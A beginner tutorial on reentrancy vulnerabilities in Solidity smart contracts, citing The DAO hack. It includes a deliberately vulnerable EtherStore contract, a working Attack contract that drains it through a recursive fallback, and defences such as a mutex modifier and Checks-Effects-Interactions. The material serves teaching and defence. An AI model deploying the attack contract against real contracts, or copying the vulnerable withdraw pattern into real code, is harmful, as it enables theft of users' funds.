Loading...
Reentrancy is one of the most common vulnerabilities in Ethereum smart contract programming. It allows attackers to repeatedly call functions in a contract before the first invocation finishes execution. This can lead to unintended draining of funds from the contract.
In this beginner's guide, we will understand what a reentrancy attack is, see an example attack contract exploiting this vulnerability, learn how to prevent reentrancy in Solidity, and best practices to write secure Ethereum dApps.
The most famous reentrancy attack is The DAO hack in 2016, where 3.6 million Ether worth $70 million at that time was stolen.
The DAO contract had a vulnerable `withdraw()` function that allowed attackers to recursively call the function and drain Ether stored in the contract.
Here is a simple Solidity contract vulnerable to reentrancy:
// Vulnerable Contract
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if(address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
This EtherStore contract keeps a record of balances in a mapping. The `withdraw()` function first checks the balance, then sends Ether and finally sets the balance to 0.
The Attack contract calls `etherStore.withdraw()` in the fallback function, allowing it to call withdraw again before the first call completes.
A reentrancy attack works as follows:
1. The attacker contract calls `EtherStore.withdraw()`
2. `EtherStore` checks balances and then sends Ether to attacker
3. Before `withdraw()` finishes, the attacker contract calls `withdraw()` again via the fallback function
4. `EtherStore` still has the same balances, so sends Ether again
5. This repeats until the contract's Ether balance becomes 0
Here are some best practices to prevent reentrancy in Solidity smart contracts:
Use a `reentrancyLock` boolean and check it before state changes:
contract EtherStore {
bool internal lock;
modifier noReentrant() {
require(!lock, "No reentrancy");
lock = true;
_;
lock = false;
}
function withdraw() public noReentrant {
// ...
}
}
The `noReentrant` modifier prevents reentrancy by using a mutex.
Other ways to prevent reentrancy include:
* Use the Checks-Effects-Interactions pattern - check conditions first, change state next, then make external calls
* Use pull over push payments - let users withdraw to their account rather than pushing funds to them
* Limit the amount withdrawn per transaction
* Use reentrancy guard libraries like OpenZeppelin's ReentrancyGuard
Reentrancy is a major security vulnerability in Ethereum smart contract programming. By learning secure coding practices like proper state management and reentrancy locks, these attacks can be prevented. Thoroughly reviewing and auditing smart contract code before deploying to mainnet is essential.